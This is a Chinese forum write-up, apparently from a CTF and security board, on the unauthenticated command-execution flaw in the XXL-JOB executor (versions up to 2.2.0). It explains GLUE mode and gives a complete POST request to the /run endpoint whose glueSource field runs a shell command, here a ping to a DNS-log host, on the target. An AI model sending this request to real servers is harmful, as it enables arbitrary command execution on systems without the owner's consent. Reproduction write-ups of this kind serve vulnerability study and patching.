XXL-JOB executor未授权访问漏洞

Track-mss   ·   发表于 2021-07-21 11:25:46   ·   CTF&WP专版

0X01 XXL-JOB executor未授权访问漏洞

0x01 简介

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

0x02 漏洞概述

此次漏洞核心问题是 GLUE 模式。XXL-JOB 通过“GLUE模式”支持多语言以及脚本任务,该模式任务特点如下:

  • 多语言支持:支持 Java、Shell、Python、NodeJS、PHP、PowerShell……等类型。
  • Web IDE:任务以源码方式维护在调度中心,支持通过 Web IDE 在线开发、维护。
  • 动态生效:用户在线通过 Web IDE 开发的任务代码,远程推送至执行器,实时加载执行。

默认情况下XXL-JOB的executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

0x03 影响版本

XXL-JOB <= 2.2.0

0x04 复现

遇到这种状况,可能就存在该漏洞
![图 1]

访问ip:9999/run,burp 抓包,请求方式修改为post
图 2
构造如下psot包,注意将 Content-Type 改为 application/json

  1. POST /run HTTP/1.1
  2. Host: 192.168.129.131:9999
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. Content-Length: 373
  11. {
  12. "jobId": 1,
  13. "executorHandler": "demoJobHandler",
  14. "executorParams": "demoJobHandler",
  15. "executorBlockStrategy": "COVER_EARLY",
  16. "executorTimeout": 0,
  17. "logId": 1,
  18. "logDateTime": 1586629003729,
  19. "glueType": "GLUE_SHELL",
  20. "glueSource": "ping zkaq.269oua.dnslog.cn",
  21. "glueUpdatetime": 1586699003758,
  22. "broadcastIndex": 0,
  23. "broadcastTotal": 0
  24. }

![图 3]

打赏我,让我更有动力~

0 Reply   |  Until 2021-7-21 | 513 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.